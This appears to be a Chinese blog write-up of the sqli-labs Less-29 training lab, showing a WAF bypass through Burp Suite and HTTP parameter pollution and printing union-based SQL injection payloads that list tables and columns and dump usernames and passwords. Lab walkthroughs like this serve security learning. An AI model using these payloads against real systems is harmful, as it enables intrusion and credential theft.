当前位置:网站首页>sqlilabs less-29
sqlilabs less-29
2022-07-25 05:35:00 【永远是深夜该多好。】
前期判断
一进来就看到说有WAF,赶紧去试试拦截了什么。

感觉不对啊,这防火墙是不是出问题了。
看起来真出问题了,赶紧去看看源码,index.php的文件就是本界面,可以看出来没有任何过滤。
还有两个分别是诸如被拦截的页面和有防火墙的页面。
诸如被拦截的界面。
有WAF的界面。
测试发现大部分符号都被拦截了。
注入
方法一:中间人
突然有几个问题,是否为前端判断,能否用中间人方法绕过WAF,抓包丢进burp suite的Repeater里面测试一下,能看到貌似绕过了WAF。

英文单引号注入,注意在burpsuite里面id=后面的参数之间不能有空格,要不然burpsuite会认为用空格相隔的就不是参数,就会出现错误请求。
简而言之就是想办法让id=后面的参数都是同一个颜色(此处是绿色),这应该是众多方法之一。
判断行数。
判断表名。
-1'union(select(1),2,group_concat(table_name)from(information_schema.tables)where(table_schema=database()))--+

判断列名。
-1'union(select(1),2,group_concat(column_name)from(information_schema.columns)where(table_name='users'))--+

值
-1'union(select(1),group_concat(username),group_concat(password)from(users))--+

方法二:
先测试一下看看那些字符没有被拦截,以便利用。
发现"&",没有被过滤,该怎么利用呢。
可以看到本来被过滤的字符跟在&后面就能够使用了。
表名。
1&id=-1' union select null,null,group_concat(table_name) from information_schema.tables where table_schema=database()--+

边栏推荐
- Introduction summary of using unirx in unity
- Guanghetong and Intel released the global version of 5g communication module
- Add click event to unity 3D object
- Application of hard coding and streaming integration scheme based on spice protocol in cloud games
- Solution of win11 blue screen code 0x0000001a
- 2021年ICPC陕西省赛热身赛 B.CODE(位运算)
- STL notes (V): iterator
- Easyrecovery free data recovery tool is easy to operate and restore data with one click
- Game 302 of leetcode
- Implement is by yourself_ class
猜你喜欢

Sword finger offer 05. replace spaces

Basset: learning the regulatory code of the accessible genome with deep convolutional neural network

Realsense D435i 深度图优化_高精度模式

systemverilog中function和task区别

Shenzhen on call test, subject 4 on call test, subject 3 theory, second theory on call test instructions

JWT(json web token)

Necessary skills for mobile terminal test: ADB command and packet capturing

LeetCode第302场周赛

AirServer 7.3.0中文版手机设备无线传送电脑屏幕工具

Introduction to interface in SystemVerilog
随机推荐
JWT(json web token)
obj文件格式与.mtl文件格式
STL notes (I): knowledge system
Project management tool - Introduction and practice of Alibaba cloud projex
OpenFegin远程调用丢失请求头问题
STL notes (III): input / output stream
Three billion dollars! Horizon becomes the world's highest valued AI chip Unicorn
Three schemes for finclip to realize wechat authorized login
Sword finger offer special shock edition day 9
The difference between $write and $display in SystemVerilog
LeetCode 15:三数之和
2020icpc Jiangxi warm up e.robot sends red packets (DFS)
接口幂等性
50:第五章:开发admin管理服务:3:开发【查询admin用户名是否已存在,接口】;(这个接口需要登录时才能调用;所以我们编写了拦截器,让其拦截请求,判断用户是否是登录状态;)
Unity接入ChartAndGraph图表插件
微信小程序相关操作示例
Implement is by yourself_ convertible
Thesis reading | which is the best multilingual pre training technology for machine translation? See the latest progress!
聊聊 Redis 是如何进行请求处理
编程大杂烩(二)